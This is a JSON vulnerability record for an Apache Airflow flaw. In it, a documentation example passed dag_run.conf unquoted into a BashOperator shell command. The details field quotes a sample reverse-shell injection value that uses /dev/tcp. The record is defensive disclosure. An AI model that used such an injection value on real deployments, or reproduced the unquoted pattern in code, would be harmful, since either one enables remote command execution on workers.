{"id":"CVE-2026-42252","aliases":["BIT-airflow-2026-42252","GHSA-c85c-g9wv-pph2","PYSEC-2026-184"],"url":"https://o3.security/vulnerability/CVE-2026-42252","summary":"Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern","details":"Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i >& /dev/tcp/.../9999 0>&1; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.","published":"2026-06-01T07:51:19.018Z","modified":"2026-08-12T03:51:28.118525473Z","cvss":{"score":9.1,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"},"epss":{"score":0.00383,"percentile":0.31095,"asOf":"2026-08-10"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"apache-airflow","fixedVersion":"3.2.2"}],"fix":{"url":"https://github.com/apache/airflow/pull/64129","label":"apache/airflow#64129"},"references":[{"type":"WEB","url":"https://pypi.python.org"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42252.json"},{"type":"ADVISORY","url":"https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42252"},{"type":"FIX","url":"https://github.com/apache/airflow/pull/64129"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:28.118525473Z"}}